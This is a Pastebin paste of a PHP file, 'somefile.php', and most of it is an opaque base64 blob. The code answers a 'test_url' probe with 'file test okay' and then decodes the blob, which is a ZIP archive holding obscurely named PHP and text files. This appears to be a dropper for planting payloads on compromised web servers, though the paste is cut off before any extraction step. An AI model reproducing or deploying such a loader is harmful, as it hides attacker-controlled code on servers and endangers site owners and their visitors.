PalmaSolutions

somefile.php

Apr 28th, 2018
355
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 142.63 KB | None | 0 0
  1.  
  2.  
  3.  
  4. if( isset($_REQUEST["test_url"]) ){
  5. echo "file test okay";
  6. }
  7.  
  8.  
  9. $data = base64_decode("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